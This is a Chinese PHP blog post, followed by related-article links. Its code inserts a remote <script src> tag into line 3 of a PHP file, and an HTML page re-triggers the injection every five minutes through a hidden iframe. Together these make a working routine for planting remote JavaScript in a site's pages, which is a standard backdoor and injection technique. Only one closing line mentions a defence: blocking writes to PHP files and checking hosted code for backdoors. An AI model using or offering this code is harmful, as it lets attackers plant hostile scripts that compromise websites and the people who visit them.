php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
PHPLog php 程序调试追踪工具
Sep 09 PHP
使用Apache的htaccess防止图片被盗链的解决方法
Apr 27 PHP
php中mt_rand()随机数函数用法
Nov 24 PHP
PHP递归遍历指定目录的文件并统计文件数量的方法
Mar 24 PHP
5款适合PHP使用的HTML编辑器推荐
Jul 03 PHP
PHP中常见的缓存技术实例分析
Sep 23 PHP
PHP接收json 并将接收数据插入数据库的实现代码
Dec 01 PHP
PHP聚合式迭代器接口IteratorAggregate用法分析
Dec 28 PHP
phpstorm 正则匹配删除空行、注释行(替换注释行为空行)
Jan 21 PHP
ThinkPHP 3使用OSS的方法
Jul 19 PHP
解决PHP curl或file_get_contents下载图片损坏或无法打开的问题
Oct 11 PHP
thinkphp5 路由分发原理
Mar 18 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
php5.4以下版本json不支持不转义内容中文的解决方法
2015/01/13 PHP
CentOS下PHP7的编译安装及MySQL的支持和一些常见问题的解决办法
2015/12/17 PHP
PHP中PDO的事务处理分析
2016/04/07 PHP
针对多用户实现头像上传功能PHP代码 适用于登陆页面制作
2016/08/17 PHP
thinkPHP实现的联动菜单功能详解
2017/05/05 PHP
用js遍历 table的脚本
2008/07/23 Javascript
jQuery对象与DOM对象之间的转换方法
2010/04/15 Javascript
Jquery对象和Dom对象的区别分析
2014/11/20 Javascript
javascript白色简洁计算器
2015/05/04 Javascript
js实现数组转换成json
2015/06/26 Javascript
AngularJS 中的事件详解
2016/07/28 Javascript
Boostrap实现的登录界面实例代码
2016/10/09 Javascript
Vue2实现组件props双向绑定
2016/12/02 Javascript
JS判断键盘是否按的回车键并触发指定按钮点击操作的方法
2017/02/13 Javascript
jQuery查找和过滤_动力节点节点Java学院整理
2017/07/04 jQuery
Angularjs的$http异步删除数据详解及实例
2017/07/27 Javascript
jfinal与bootstrap的登出实战详解
2017/11/27 Javascript
jquery中done和then的区别(详解)
2017/12/19 jQuery
Node.js上传文件功能之服务端如何获取文件上传进度
2018/02/05 Javascript
利用angular、react和vue实现相同的面试题组件
2018/02/19 Javascript
vue自动路由-单页面项目(非build时构建)
2019/04/30 Javascript
Python数据分析之真实IP请求Pandas详解
2016/11/18 Python
基于Python 装饰器装饰类中的方法实例
2018/04/21 Python
python实现nao机器人手臂动作控制
2019/04/29 Python
python 绘制拟合曲线并加指定点标识的实现
2019/07/10 Python
python实现电子书翻页小程序
2019/07/23 Python
解决python对齐错误的方法
2020/07/16 Python
Python限制内存和CPU使用量的方法(Unix系统适用)
2020/08/04 Python
CSS3 Backgrounds属性相关介绍
2011/05/11 HTML / CSS
大学生求职自荐信
2013/12/12 职场文书
学生打架检讨书1000字
2014/01/16 职场文书
经销商培训邀请函
2014/01/21 职场文书
先进基层党组织事迹材料2016
2016/02/29 职场文书
如何用python识别滑块验证码中的缺口
2021/04/01 Python
MySQL存储过程及语法详解
2022/08/05 MySQL
华为HarmonyOS3.0强在哪? 看看鸿蒙3.0这7个小功能
2023/01/09 数码科技